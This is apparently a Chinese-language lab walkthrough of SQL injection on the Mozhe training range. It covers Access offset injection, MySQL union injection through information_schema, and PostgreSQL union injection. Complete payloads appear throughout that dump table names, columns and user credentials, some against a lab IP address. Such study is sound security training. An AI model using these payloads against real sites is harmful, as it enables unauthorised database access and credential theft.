SQLFuzz字典的使用
漏洞挖掘有三种方法:白盒代码审计、灰盒逆向工程、黑盒测试。其中黑盒的Fuzz测试是效率最高的一种,能够快速验证大量潜在的安全威胁。
Fuzz测试,也叫做“模糊测试”,是一种挖掘软件安全漏洞、检测软件健壮性的黑盒测试,它通过向软件输入非法的字段,观测被测试软件是否异常而实现。Fuzz测试的概念非常容易理解,如果我们构造非法的报文并且通过测试工具打入被测设备,那么这就是一个Fuzz测试的测试例执行,大多数测试工程师肯定都尝试过这种测试手段。
sql模糊测试,可以通过手工配合字典注入来猜测表名、列名,或者直接暴露猜解数据库名,表名
https://github.com/sqlmapproject/sqlmap
https://github.com/fuzzdb-project/fuzzdb
SQL注入-Access联合和偏移注入
https://www.mozhe.cn/bug/detail/VExmTm05OHhVM1dBeGdYdmhtbng5UT09bW96aGUmozhe
直接上墨者靶场
点击这里的超链接进入漏洞地址
先and 1=1 ,and 1=2 判断发现存在注入
access注入的话得了解它的结构,Access—>表名—>列名—>数据,它和mysql和其他数据的结构不一样,我们只需要得到表名,然后获取列名,最后得到数据。Access需要猜解表名或列名,需要借助字典暴力破解,所以Access数据库注入属于暴力猜解注入,注入的时候会出现表名或列名获取不到的情况,我们需要借助大量的字典尝试获取。
接着通过order by来判断列数
order by 5出现错误,说明有4列
然后直接union select 1,2,3,4 from admin 进行猜测发现有回显,表示有admin这个表
那么表名—>admin 列名—>未知
1.暴力拆解,判断列名
id=1 and exists(select username from admin) //页面返回正常,说明存在username列
id=1 and exists(select passwd from admin) //页面返回正常,说明存在passwd列
id=1 and exists(select id from admin) //页面返回正常,说明存在id列
2.偏移注入
偏移注入:解决表名获取到,获取不到列名的情况
这里原先联合查询语句:http://219.153.49.228:42893/new_list.asp?id=1 union select 1,2,3,4 from admin
然后我们从4这里开始用*代替直到它回显正常
http://219.153.49.228:42893/new_list.asp?id=1 union select 1,2,3,* from admin
http://219.153.49.228:42893/new_list.asp?id=1 union select 1,2,* from admin
http://219.153.49.228:42893/new_list.asp?id=1 union select 1,* from admin
这里偏移了3个说明admin表下有3列
那么这里如果还要偏移的话需要再偏移3个,这里只能到union select 1,* from admin,所以二级偏移不行,二级,三级如下
* from (admin as a inner join admin as b on a.id = b.id) //二级偏移
* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id) //三级偏移
SQL注入-Mysql联合注入
https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe
同上直接上墨者靶场
直接老方法 and 1=1 页面正常,and 1=2 页面错误 id=1 a页面错误 说明存在sql注入
拿到mysql先收集一波信息,查询函数:database() 数据库名、version() 数据库版本、user() 数据库用户、@@version_compile_os 操作系统
我们来收集康康,先order by 判断列数
有4列直接联合查询 union select 1,2,3,4
发现没有回显,其实这是个显示位的问题,只需要让id=-1 报错,执行后面的sql语句就能回显
信息收集,数据库名
数据库版本
数据库用户
操作系统
数据库名—>mozhe_Discuz_StormGroup
这里mysql版本是5.0以上,注意mysql5.0以下没有数据库名information_schema,在MYSQL5包含以上版本自带的数据库名information_schema,它是一个存储有MYSQL所有数据库名,表名,列名信息的数据库,MYSQL5以下版本不自带。我们可以借助查询information_schema获取指定数据库名下的表名或列名信息,从而注入实现有根据查询。
information_schema.tables表下的列table_name 存储表名信息的表
information_schema.columns表下的列column_name 存储表名信息的表
information_schema.schemata表下的列shcema_name 存储数据库名信息的表
table_schema=“mozhe_Discuz_StormGroup” 指定数据库
这里需要说明一下几个函数
concat的功能:将多个字符串连接成一个字符串。语法:concat(str1,str2...)
concat_ws功能:和concat()一样,将多个字符串连接成一个字符串,但是可以一次性指定分隔符(concat_ws就是concat with separator)。语法:concat_ws(separator,str1,str2..)
group_concat功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。语法:group_concat([distinct]要连接的字段[order by 排序字段 asc/desc] [separator‘分隔符’])
那么就可以构造sql语句-1 union select 1,(group_concat(table_name)),3,4 from information_schema.tables where table_schema=“mozhe_Discuz_StormGroup”
这里就发现有两个表StormGroup_member,notice,我们主要关注StormGroup_member表
现在有了数据库名,表名,就需要列名
构造sql语句-1 union select 1,(group_concat(column_name)),3,4 from information_schema.columns where table_name=“StormGroup_member”
现在有列名就可以直接获取指定表名-1 union select 1,name,password,4 from StormGroup_member
发现这个并没有全通过group_concat函数进行查询把它输出到一列,-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member
SQL注入-PostgreSQL联合注入
同上直接上墨者靶场,访问得到
https://www.mozhe.cn/bug/detail/ZUd5cld1TU9zdEJ0NWFaSTNXeERRdz09bW96aGUmozhe
Sql注入之Postgresql参考:https://www.cnblogs.com/she11s/p/12326629.html
还是通过 and 1=1 ,and 1=2 判断是否存在注入,这里order by 发现有4列
联合注入用法和mysql类似
1 union select null,null,null, null
发现没有回显,把它改成-1 union select null,null,null, null
再加上一个version()查看版本,-1 union select null,version(),null, null
查询数据库名称构造sql语句
-1 union select null,current_database(),null, null,数据库名:mozhedvcms
查询表名构造sql语句,发现只有一个表名
-1 union select null,relname,null, null from pg_stat_user_tables
查询多个表名构造sql语句,表名:reg_users
-1 union select null,relname,null, null from pg_stat_user_tables limit 1 offset 1 通过limit来控制表名,这里查询出来表名reg_users
查询列名,列名:password name
union select null,column_name,null,null from information_schema.columns where table_name=‘reg_users’
再然后通过 limit来控制 union select null,column_name,null,null from information_schema.columns where table_name=‘reg_users’ limit 1 offset 1
查询数据 union select null,id,null,null from reg_users
列出所有用户名和密码 union select null,string_agg(name,’,’),string_agg(password,’,’),null from reg_users